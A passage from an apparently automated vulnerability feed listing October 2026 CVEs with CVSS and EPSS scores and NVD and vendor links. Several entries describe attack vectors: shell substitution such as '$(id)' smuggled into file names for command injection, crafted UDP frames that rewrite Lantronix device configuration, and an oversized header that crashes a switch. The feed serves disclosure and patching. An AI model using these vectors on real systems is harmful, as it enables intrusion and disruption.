Vendor advisory (via NVD references): https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-69950
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=1000
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-69950&date=2026-10-25
Buffer over-read in Windows Overlay Filter allows an authorized attacker to elevate privileges locally.

NVD status: Analyzed. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Heap-based buffer overflow in Windows Client for NFS allows an authorized attacker to elevate privileges locally.
https://kevwire.com/record/CVE-2026-69949
Heap-based buffer overflow in Windows Client for NFS allows an authorized attacker to elevate privileges locally. (Oct 13, 2026).
Heap-based buffer overflow in Windows Client for NFS allows an authorized attacker to elevate privileges locally.
CVSS 7.8 (version 3.1; evidence as of Oct 16, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-69949).
EPSS 0.4% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-69949&date=2026-10-25).
Sources:
NVD CVE-2026-69949: https://nvd.nist.gov/vuln/detail/CVE-2026-69949
Vendor advisory (via NVD references): https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-69949
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=1000
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-69949&date=2026-10-25
Heap-based buffer overflow in Windows Client for NFS allows an authorized attacker to elevate privileges locally.

NVD status: Analyzed. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Edgeless Systems Contrast 1.8.0 before 1.24.1 contains an incorrect permissions vulnerability where the node installer writes the containerd config world-writable (0666).
https://kevwire.com/record/CVE-2026-109358
Edgeless Systems Contrast 1.8.0 before 1.24.1 contains an incorrect permissions vulnerability where the node installer writes the containerd config world-writable (0666). (Oct 12, 2026).
Edgeless Systems Contrast 1.8.0 before 1.24.1 contains an incorrect permissions vulnerability where the node installer writes the containerd config world-writable (0666). Local unprivileged users on the node can modify the containerd config, for example overwriting the runc location, to escalate privileges.
CVSS 8.5 (version 4.0; evidence as of Oct 16, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-109358).
EPSS 0.1% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-109358&date=2026-10-25).
Sources:
NVD CVE-2026-109358: https://nvd.nist.gov/vuln/detail/CVE-2026-109358
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=0
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-109358&date=2026-10-25
Edgeless Systems Contrast 1.8.0 before 1.24.1 contains an incorrect permissions vulnerability where the node installer writes the containerd config world-writable (0666). Local unprivileged users on the node can modify the containerd config, for example overwriting the runc location, to escalate privileges.

NVD status: Deferred. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### youlai-mall through commit 9f62de8 contains a missing authorization vulnerability that allows authenticated members to view every customer's orders via the app order list endpoint.
https://kevwire.com/record/CVE-2026-110613
youlai-mall through commit 9f62de8 contains a missing authorization vulnerability that allows authenticated members to view every customer's orders via the app order list endpoint. (Oct 14, 2026).
youlai-mall through commit 9f62de8 contains a missing authorization vulnerability that allows authenticated members to view every customer's orders via the app order list endpoint. Attackers can page through the oms_order table using a self-registered account to read order ids, order_sn values, member ids, payment amounts, and order status.
CVSS 7.1 (version 4.0; evidence as of Oct 16, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-110613).
EPSS 0.4% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-110613&date=2026-10-25).
Sources:
NVD CVE-2026-110613: https://nvd.nist.gov/vuln/detail/CVE-2026-110613
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=3000
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-110613&date=2026-10-25
youlai-mall through commit 9f62de8 contains a missing authorization vulnerability that allows authenticated members to view every customer's orders via the app order list endpoint. Attackers can page through the oms_order table using a self-registered account to read order ids, order_sn values, member ids, payment amounts, and order status.

NVD status: Deferred. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### SmsForwarder through 3.5.0 contains a missing authentication vulnerability in its AndServer HTTP server that allows unauthenticated network attackers to invoke remote-control APIs.
https://kevwire.com/record/CVE-2026-110618
SmsForwarder through 3.5.0 contains a missing authentication vulnerability in its AndServer HTTP server that allows unauthenticated network attackers to invoke remote-control APIs. (Oct 14, 2026).
SmsForwarder through 3.5.0 contains a missing authentication vulnerability in its AndServer HTTP server that allows unauthenticated network attackers to invoke remote-control APIs. Attackers can call the default-enabled endpoints to read SMS, call logs and contacts, send SMS, and export or overwrite configuration via the clone API.
CVSS 8.6 (version 4.0; evidence as of Oct 16, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-110618).
EPSS 0.4% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-110618&date=2026-10-25).
Sources:
NVD CVE-2026-110618: https://nvd.nist.gov/vuln/detail/CVE-2026-110618
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=3000
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-110618&date=2026-10-25
SmsForwarder through 3.5.0 contains a missing authentication vulnerability in its AndServer HTTP server that allows unauthenticated network attackers to invoke remote-control APIs. Attackers can call the default-enabled endpoints to read SMS, call logs and contacts, send SMS, and export or overwrite configuration via the clone API.

NVD status: Deferred. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### doc-recog through 1.1.6 contains an OS command injection vulnerability that allows attackers to execute commands by supplying crafted document paths to recog() or tag().
https://kevwire.com/record/CVE-2026-110638
doc-recog through 1.1.6 contains an OS command injection vulnerability that allows attackers to execute commands by supplying crafted document paths to recog() or tag(). (Oct 14, 2026).
doc-recog through 1.1.6 contains an OS command injection vulnerability that allows attackers to execute commands by supplying crafted document paths to recog() or tag(). Attackers can embed $(...) or backtick command substitution in the file path, which DocData._readPDF passes to a shell-based pdftotext exec call, running commands with Node.js process privileges.
CVSS 9.3 (version 4.0; evidence as of Oct 16, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-110638).
EPSS 2.7% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-110638&date=2026-10-25).
Sources:
NVD CVE-2026-110638: https://nvd.nist.gov/vuln/detail/CVE-2026-110638
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=3000
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-110638&date=2026-10-25
doc-recog through 1.1.6 contains an OS command injection vulnerability that allows attackers to execute commands by supplying crafted document paths to recog() or tag(). Attackers can embed $(...) or backtick command substitution in the file path, which DocData._readPDF passes to a shell-based pdftotext exec call, running commands with Node.js process privileges.

NVD status: Deferred. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### transcribe2texts through 1.0.6 contains an OS command injection vulnerability that allows attackers to execute commands by supplying crafted audioPath values to transcribeAudio().
https://kevwire.com/record/CVE-2026-110643
transcribe2texts through 1.0.6 contains an OS command injection vulnerability that allows attackers to execute commands by supplying crafted audioPath values to transcribeAudio(). (Oct 14, 2026).
transcribe2texts through 1.0.6 contains an OS command injection vulnerability that allows attackers to execute commands by supplying crafted audioPath values to transcribeAudio(). Attackers can inject $() or backtick substitution or a closing quote into the unescaped path passed to child_process.exec() to run commands with Node.js process privileges.
CVSS 9.3 (version 4.0; evidence as of Oct 16, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-110643).
EPSS 2.6% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-110643&date=2026-10-25).
Sources:
NVD CVE-2026-110643: https://nvd.nist.gov/vuln/detail/CVE-2026-110643
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=3000
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-110643&date=2026-10-25
transcribe2texts through 1.0.6 contains an OS command injection vulnerability that allows attackers to execute commands by supplying crafted audioPath values to transcribeAudio(). Attackers can inject $() or backtick substitution or a closing quote into the unescaped path passed to child_process.exec() to run commands with Node.js process privileges.

NVD status: Deferred. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### @offactory/compress-fonts before 1.1.1 contains an OS command injection vulnerability that allows attackers to execute shell commands by supplying font files with crafted names.
https://kevwire.com/record/CVE-2026-110648
@offactory/compress-fonts before 1.1.1 contains an OS command injection vulnerability that allows attackers to execute shell commands by supplying font files with crafted names. (Oct 14, 2026).
@offactory/compress-fonts before 1.1.1 contains an OS command injection vulnerability that allows attackers to execute shell commands by supplying font files with crafted names. Font paths are interpolated unquoted into a FontForge command run through child_process.execSync, so shell metacharacters in file names execute commands with the Node.js process privileges.
CVSS 8.5 (version 4.0; evidence as of Oct 16, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-110648).
EPSS 1.1% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-110648&date=2026-10-25).
Sources:
NVD CVE-2026-110648: https://nvd.nist.gov/vuln/detail/CVE-2026-110648
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=3000
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-110648&date=2026-10-25
@offactory/compress-fonts before 1.1.1 contains an OS command injection vulnerability that allows attackers to execute shell commands by supplying font files with crafted names. Font paths are interpolated unquoted into a FontForge command run through child_process.execSync, so shell metacharacters in file names execute commands with the Node.js process privileges.

NVD status: Deferred. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Missing authorization in Windows AppX Deployment Extensions allows an authorized attacker to elevate privileges locally.
https://kevwire.com/record/CVE-2026-69945
Missing authorization in Windows AppX Deployment Extensions allows an authorized attacker to elevate privileges locally. (Oct 13, 2026).
Missing authorization in Windows AppX Deployment Extensions allows an authorized attacker to elevate privileges locally.
CVSS 8.8 (version 3.1; evidence as of Oct 16, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-69945).
EPSS 0.3% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-69945&date=2026-10-25).
Sources:
NVD CVE-2026-69945: https://nvd.nist.gov/vuln/detail/CVE-2026-69945
Vendor advisory (via NVD references): https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-69945
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=1000
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-69945&date=2026-10-25
Missing authorization in Windows AppX Deployment Extensions allows an authorized attacker to elevate privileges locally.

NVD status: Analyzed. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Heap-based buffer overflow in Windows NTFS allows an authorized attacker to elevate privileges locally.
https://kevwire.com/record/CVE-2026-96916
Heap-based buffer overflow in Windows NTFS allows an authorized attacker to elevate privileges locally. (Oct 13, 2026).
Heap-based buffer overflow in Windows NTFS allows an authorized attacker to elevate privileges locally.
CVSS 7.8 (version 3.1; evidence as of Oct 16, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-96916).
EPSS 0.4% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-96916&date=2026-10-25).
Sources:
NVD CVE-2026-96916: https://nvd.nist.gov/vuln/detail/CVE-2026-96916
Vendor advisory (via NVD references): https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-96916
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=2000
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-96916&date=2026-10-25
Heap-based buffer overflow in Windows NTFS allows an authorized attacker to elevate privileges locally.

NVD status: Analyzed. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Lantronix XPress-DR and XPress-DR-I (CoBos-family) firmware through 8.1.0.0 contains a missing authentication vulnerability that allows remote attackers to read and persistently...
https://kevwire.com/record/CVE-2026-109439
Lantronix XPress-DR and XPress-DR-I (CoBos-family) firmware through 8.1.0.0 contains a missing authentication vulnerability that allows remote attackers to read and persistently... (Oct 14, 2026).
Lantronix XPress-DR and XPress-DR-I (CoBos-family) firmware through 8.1.0.0 contains a missing authentication vulnerability that allows remote attackers to read and persistently overwrite device configuration by sending crafted frames to the unauthenticated UDP configuration protocol on port 30718. Attackers can send a type 0xF8 query to read live configuration data and a type 0xFD frame with exactly 0x78 body bytes to rewrite the device IP address and serial-channel forwarding records, causing changes to commit to EEPROM and persist across reboots. The XPress-DR product series reached end-of-life/end-of-support in February 2025.
CVSS 9.3 (version 4.0; evidence as of Oct 16, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-109439).
EPSS 0.6% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-109439&date=2026-10-25).
Sources:
NVD CVE-2026-109439: https://nvd.nist.gov/vuln/detail/CVE-2026-109439
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=3000
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-109439&date=2026-10-25
Lantronix XPress-DR and XPress-DR-I (CoBos-family) firmware through 8.1.0.0 contains a missing authentication vulnerability that allows remote attackers to read and persistently overwrite device configuration by sending crafted frames to the unauthenticated UDP configuration protocol on port 30718. Attackers can send a type 0xF8 query to read live configuration data and a type 0xFD frame with exactly 0x78 body bytes to rewrite the device IP address and serial-channel forwarding records, causing changes to commit to EEPROM and persist across reboots. The XPress-DR product series reached end-of-life/end-of-support in February 2025.

NVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Use after free in Windows Kernel allows an authorized attacker to elevate privileges locally.
https://kevwire.com/record/CVE-2026-85372
Use after free in Windows Kernel allows an authorized attacker to elevate privileges locally. (Oct 13, 2026).
Use after free in Windows Kernel allows an authorized attacker to elevate privileges locally.
CVSS 7.0 (version 3.1; evidence as of Oct 16, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-85372).
EPSS 0.2% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-85372&date=2026-10-25).
Sources:
NVD CVE-2026-85372: https://nvd.nist.gov/vuln/detail/CVE-2026-85372
Vendor advisory (via NVD references): https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-85372
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=1500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-85372&date=2026-10-25
Use after free in Windows Kernel allows an authorized attacker to elevate privileges locally.

NVD status: Analyzed. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Heap-based buffer overflow in Windows Universal Plug and Play (UPnP) Device Host allows an authorized attacker to elevate privileges locally.
https://kevwire.com/record/CVE-2026-85373
Heap-based buffer overflow in Windows Universal Plug and Play (UPnP) Device Host allows an authorized attacker to elevate privileges locally. (Oct 13, 2026).
Heap-based buffer overflow in Windows Universal Plug and Play (UPnP) Device Host allows an authorized attacker to elevate privileges locally.
CVSS 7.8 (version 3.1; evidence as of Oct 16, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-85373).
EPSS 0.3% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-85373&date=2026-10-25).
Sources:
NVD CVE-2026-85373: https://nvd.nist.gov/vuln/detail/CVE-2026-85373
Vendor advisory (via NVD references): https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-85373
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=2000
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-85373&date=2026-10-25
Heap-based buffer overflow in Windows Universal Plug and Play (UPnP) Device Host allows an authorized attacker to elevate privileges locally.

NVD status: Analyzed. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Use after free in Windows Universal Plug and Play (UPnP) Device Host allows an authorized attacker to elevate privileges locally.
https://kevwire.com/record/CVE-2026-85375
Use after free in Windows Universal Plug and Play (UPnP) Device Host allows an authorized attacker to elevate privileges locally. (Oct 13, 2026).
Use after free in Windows Universal Plug and Play (UPnP) Device Host allows an authorized attacker to elevate privileges locally.
CVSS 7.8 (version 3.1; evidence as of Oct 16, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-85375).
EPSS 0.3% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-85375&date=2026-10-25).
Sources:
NVD CVE-2026-85375: https://nvd.nist.gov/vuln/detail/CVE-2026-85375
Vendor advisory (via NVD references): https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-85375
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=2000
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-85375&date=2026-10-25
Use after free in Windows Universal Plug and Play (UPnP) Device Host allows an authorized attacker to elevate privileges locally.

NVD status: Analyzed. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Weak authentication in Windows Print Spooler Components allows an authorized attacker to elevate privileges locally.
https://kevwire.com/record/CVE-2026-85376
Weak authentication in Windows Print Spooler Components allows an authorized attacker to elevate privileges locally. (Oct 13, 2026).
Weak authentication in Windows Print Spooler Components allows an authorized attacker to elevate privileges locally.
CVSS 7.8 (version 3.1; evidence as of Oct 16, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-85376).
EPSS 0.3% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-85376&date=2026-10-25).
Sources:
NVD CVE-2026-85376: https://nvd.nist.gov/vuln/detail/CVE-2026-85376
Vendor advisory (via NVD references): https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-85376
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=2000
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-85376&date=2026-10-25
Weak authentication in Windows Print Spooler Components allows an authorized attacker to elevate privileges locally.

NVD status: Analyzed. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Access of resource using incompatible type ('type confusion') in Windows CD-ROM Driver allows an authorized attacker to elevate privileges locally.
https://kevwire.com/record/CVE-2026-85377
Access of resource using incompatible type ('type confusion') in Windows CD-ROM Driver allows an authorized attacker to elevate privileges locally. (Oct 13, 2026).
Access of resource using incompatible type ('type confusion') in Windows CD-ROM Driver allows an authorized attacker to elevate privileges locally.
CVSS 7.8 (version 3.1; evidence as of Oct 16, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-85377).
EPSS 0.3% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-85377&date=2026-10-25).
Sources:
NVD CVE-2026-85377: https://nvd.nist.gov/vuln/detail/CVE-2026-85377
Vendor advisory (via NVD references): https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-85377
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=2000
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-85377&date=2026-10-25
Access of resource using incompatible type ('type confusion') in Windows CD-ROM Driver allows an authorized attacker to elevate privileges locally.

NVD status: Analyzed. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Heap-based buffer overflow in Windows Encrypting File System (EFS) allows an authorized attacker to elevate privileges locally.
https://kevwire.com/record/CVE-2026-85791
Heap-based buffer overflow in Windows Encrypting File System (EFS) allows an authorized attacker to elevate privileges locally. (Oct 13, 2026).
Heap-based buffer overflow in Windows Encrypting File System (EFS) allows an authorized attacker to elevate privileges locally.
CVSS 7.0 (version 3.1; evidence as of Oct 16, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-85791).
EPSS 0.3% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-85791&date=2026-10-25).
Sources:
NVD CVE-2026-85791: https://nvd.nist.gov/vuln/detail/CVE-2026-85791
Vendor advisory (via NVD references): https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-85791
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=2000
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-85791&date=2026-10-25
Heap-based buffer overflow in Windows Encrypting File System (EFS) allows an authorized attacker to elevate privileges locally.

NVD status: Analyzed. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Remote Code Execution in Windows Routing and Remote Access Service (RRAS) allows attacker to gain an unauthorized access to victim's machine
https://kevwire.com/record/CVE-2026-85792
Remote Code Execution in Windows Routing and Remote Access Service (RRAS) allows attacker to gain an unauthorized access to victim's machine (Oct 13, 2026).
Remote Code Execution in Windows Routing and Remote Access Service (RRAS) allows attacker to gain an unauthorized access to victim's machine
CVSS 9.8 (version 3.1; evidence as of Oct 16, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-85792).
EPSS 0.9% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-85792&date=2026-10-25).
Sources:
NVD CVE-2026-85792: https://nvd.nist.gov/vuln/detail/CVE-2026-85792
Vendor advisory (via NVD references): https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-85792
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=2000
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-85792&date=2026-10-25
Remote Code Execution in Windows Routing and Remote Access Service (RRAS) allows attacker to gain an unauthorized access to victim's machine

NVD status: Analyzed. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### SODOLA SL902-SWTGW124AS firmware before 200.2.12 contains a buffer overflow vulnerability that allows unauthenticated remote attackers to cause a denial of service by sending an...
https://kevwire.com/record/CVE-2026-0993
SODOLA SL902-SWTGW124AS firmware before 200.2.12 contains a buffer overflow vulnerability that allows unauthenticated remote attackers to cause a denial of service by sending an... (Oct 15, 2026).
SODOLA SL902-SWTGW124AS firmware before 200.2.12 contains a buffer overflow vulnerability that allows unauthenticated remote attackers to cause a denial of service by sending an oversized boundary value in the Content-Type header of a crafted POST request. Attackers can exploit the embedded HTTP server's multipart/form-data boundary parser to cause the device to become fully unresponsive — dropping all management access and traffic forwarding during its self-recovery cycle.
CVSS 8.7 (version 4.0; evidence as of Oct 16, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-0993).
EPSS 0.4% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-0993&date=2026-10-25).
Sources:
NVD CVE-2026-0993: https://nvd.nist.gov/vuln/detail/CVE-2026-0993
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=3500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-0993&date=2026-10-25
SODOLA SL902-SWTGW124AS firmware before 200.2.12 contains a buffer overflow vulnerability that allows unauthenticated remote attackers to cause a denial of service by sending an oversized boundary value in the Content-Type header of a crafted POST request. Attackers can exploit the embedded HTTP server's multipart/form-data boundary parser to cause the device to become fully unresponsive — dropping all management access and traffic forwarding during its self-recovery cycle.

NVD status: Deferred. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### odt2spip plugin for SPIP before 4.4.0 contains an OS command injection vulnerability that allows authenticated authors to execute arbitrary commands by uploading a document with a...
https://kevwire.com/record/CVE-2026-104085
odt2spip plugin for SPIP before 4.4.0 contains an OS command injection vulnerability that allows authenticated authors to execute arbitrary commands by uploading a document with a... (Oct 13, 2026).
odt2spip plugin for SPIP before 4.4.0 contains an OS command injection vulnerability that allows authenticated authors to execute arbitrary commands by uploading a document with a maliciously crafted filename through the document import form. Attackers can embed shell metacharacters such as $(id) in a non-.odt filename, which survives insufficient sanitization in odt2spip_deplacer_fichier_upload() and LibreOffice::createCommand(), to achieve remote code execution as the web-server user during the LibreOffice conversion process.
CVSS 8.7 (version 4.0; evidence as of Oct 16, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-104085).
EPSS 2.0% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-104085&date=2026-10-25).
Sources:
NVD CVE-2026-104085: https://nvd.nist.gov/vuln/detail/CVE-2026-104085
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=1000
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-104085&date=2026-10-25
odt2spip plugin for SPIP before 4.4.0 contains an OS command injection vulnerability that allows authenticated authors to execute arbitrary commands by uploading a document with a maliciously crafted filename through the document import form. Attackers can embed shell metacharacters such as $(id) in a non-.odt filename, which survives insufficient sanitization in odt2spip_deplacer_fichier_upload() and LibreOffice::createCommand(), to achieve remote code execution as the web-server user during the LibreOffice conversion process.

NVD status: Deferred. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Contrast 1.8.0 before 1.24.1 contains an improper verification vulnerability in Coordinator peer recovery that fails to confirm the serving peer uses the same manifest generation.
https://kevwire.com/record/CVE-2026-109359
Contrast 1.8.0 before 1.24.1 contains an improper verification vulnerability in Coordinator peer recovery that fails to confirm the serving peer uses the same manifest generation. (Oct 12, 2026).
